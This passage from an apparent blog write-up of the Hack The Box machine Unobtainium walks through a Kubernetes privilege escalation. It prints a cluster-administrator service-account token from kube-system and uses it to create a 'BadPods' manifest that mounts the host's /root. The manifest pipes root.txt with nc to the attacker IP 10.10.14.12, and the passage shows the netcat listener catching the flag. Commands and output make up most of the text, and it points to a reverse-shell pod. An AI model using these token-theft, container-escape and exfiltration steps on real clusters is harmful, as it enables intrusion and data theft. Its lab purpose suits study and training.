endpointslicemirroring-controller-token-9qvzz kubernetes.io/service-account-token 3 90d
expand-controller-token-sc9fw kubernetes.io/service-account-token 3 90d
generic-garbage-collector-token-2hng4 kubernetes.io/service-account-token 3 90d
horizontal-pod-autoscaler-token-6zhfs kubernetes.io/service-account-token 3 90d
job-controller-token-h6kg8 kubernetes.io/service-account-token 3 90d
kube-proxy-token-jc8kn kubernetes.io/service-account-token 3 90d
namespace-controller-token-2klzl kubernetes.io/service-account-token 3 90d
node-controller-token-k6p6v kubernetes.io/service-account-token 3 90d
persistent-volume-binder-token-fd292 kubernetes.io/service-account-token 3 90d
pod-garbage-collector-token-bjmrd kubernetes.io/service-account-token 3 90d
pv-protection-controller-token-9669w kubernetes.io/service-account-token 3 90d
pvc-protection-controller-token-w8m9r kubernetes.io/service-account-token 3 90d
replicaset-controller-token-bzbt8 kubernetes.io/service-account-token 3 90d
replication-controller-token-jz8k8 kubernetes.io/service-account-token 3 90d
resourcequota-controller-token-wg7rr kubernetes.io/service-account-token 3 90d
root-ca-cert-publisher-token-cnl86 kubernetes.io/service-account-token 3 90d
service-account-controller-token-44bfm kubernetes.io/service-account-token 3 90d
service-controller-token-pzjnq kubernetes.io/service-account-token 3 90d
statefulset-controller-token-z2nsd kubernetes.io/service-account-token 3 90d
storage-provisioner-token-tk5k5 kubernetes.io/service-account-token 3 90d
token-cleaner-token-wjvf9 kubernetes.io/service-account-token 3 90d
ttl-controller-token-z87px kubernetes.io/service-account-token 3 90d
root@devnode-deployment-cd86fb5c-qlxww:/tmp#

Copy

If you see the third option Cluster Administrator -> c-admin-token-tfmp2 is the secret of the Cluster Administrator.

Let’s get the token of Cluster Administrator -> c-admin-token-tfmp2.

root@devnode-deployment-cd86fb5c-qlxww:/tmp# /tmp/kubectl describe secrets/c-admin-token-tfmp2 -n kube-system
Name: c-admin-token-tfmp2
Namespace: kube-system
Labels: <none>
Annotations: kubernetes.io/service-account.name: c-admin
kubernetes.io/service-account.uid: 2463505f-983e-45bd-91f7-cd59bfe066d0
Type: kubernetes.io/service-account-tokenData
====
ca.crt: 1066 bytes
namespace: 11 bytes
token: eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow
root@devnode-deployment-cd86fb5c-qlxww:/tmp#

Copy

Let’s list the info of the token.

root@devnode-deployment-cd86fb5c-qlxww:/tmp# /tmp/kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow cluster-info
Kubernetes control plane is running at https://10.96.0.1:443
KubeDNS is running at https://10.96.0.1:443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.
root@devnode-deployment-cd86fb5c-qlxww:/tmp#

Copy

Let’s check if we create pods or not if we can create pods we can use BadPods.

root@devnode-deployment-cd86fb5c-qlxww:/tmp# /tmp/kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow auth can-i create pod
yes
root@devnode-deployment-cd86fb5c-qlxww:/tmp#

Copy

Yes we can create pods now let's create a BadPods. where everything is allowed with the help of BadPods.

Link : Bad Pod #1: Everything allowed

Link : everything-allowed-exec-pod.yaml

I modify the everything-allowed-exec-pod.yaml file to get the root hash and save the file as dedsec.yaml.

dedsec.yaml

apiVersion: v1
kind: Pod
metadata:
name: some-pod
namespace: default
spec:
containers:
- name: web
image: localhost:5000/dev-alpine
command: ["/bin/sh"]
args: ["-c", 'cat /root/root.txt | nc -nv 10.10.14.12 9005; sleep 100000']
volumeMounts:
- mountPath: /root/
name: root-flag
volumes:
- hostPath:
path: /root/
type: ""
name: root-flag

Copy

Change the ip and we good to go.

Just tranfer the dedsec.yaml in target box insode /tmp folder and start your netcat listner to get the root.txt file.

root@devnode-deployment-cd86fb5c-qlxww:/tmp# wget http://10.10.14.12/dedsec.yaml
--2021-04-17 10:16:05-- http://10.10.14.12/dedsec.yaml
Connecting to 10.10.14.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 405 [application/octet-stream]
Saving to: 'dedsec.yaml'
dedsec.yaml 100%[=====================================================================================================>] 405 --.-KB/s in 0s 2021-04-17 10:16:06 (70.1 MB/s) - 'dedsec.yaml' saved [405/405]root@devnode-deployment-cd86fb5c-qlxww:/tmp# /tmp/kubectl create -f /tmp/dedsec.yaml --token eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow
pod/some-pod created
root@devnode-deployment-cd86fb5c-qlxww:/tmp#

Copy

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ nc -nvlp 9005 > root.txt
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9005
Ncat: Listening on 0.0.0.0:9005
Ncat: Connection from 10.10.10.235.
Ncat: Connection from 10.10.10.235:44555.
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ cat root.txt
ef65aae67fda1e3fe6c4f3c2aad1a4b1
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$

Copy

If you want reverse shell you can use this.

Link : everything-allowed-revshell-pod.yaml

And we pwned it …….

--

--

FreakyDodo

Hey Hackers !! I am Harshit Dodia aka Freaky Dodo , I am a student of Information Technology and Ethical hacking.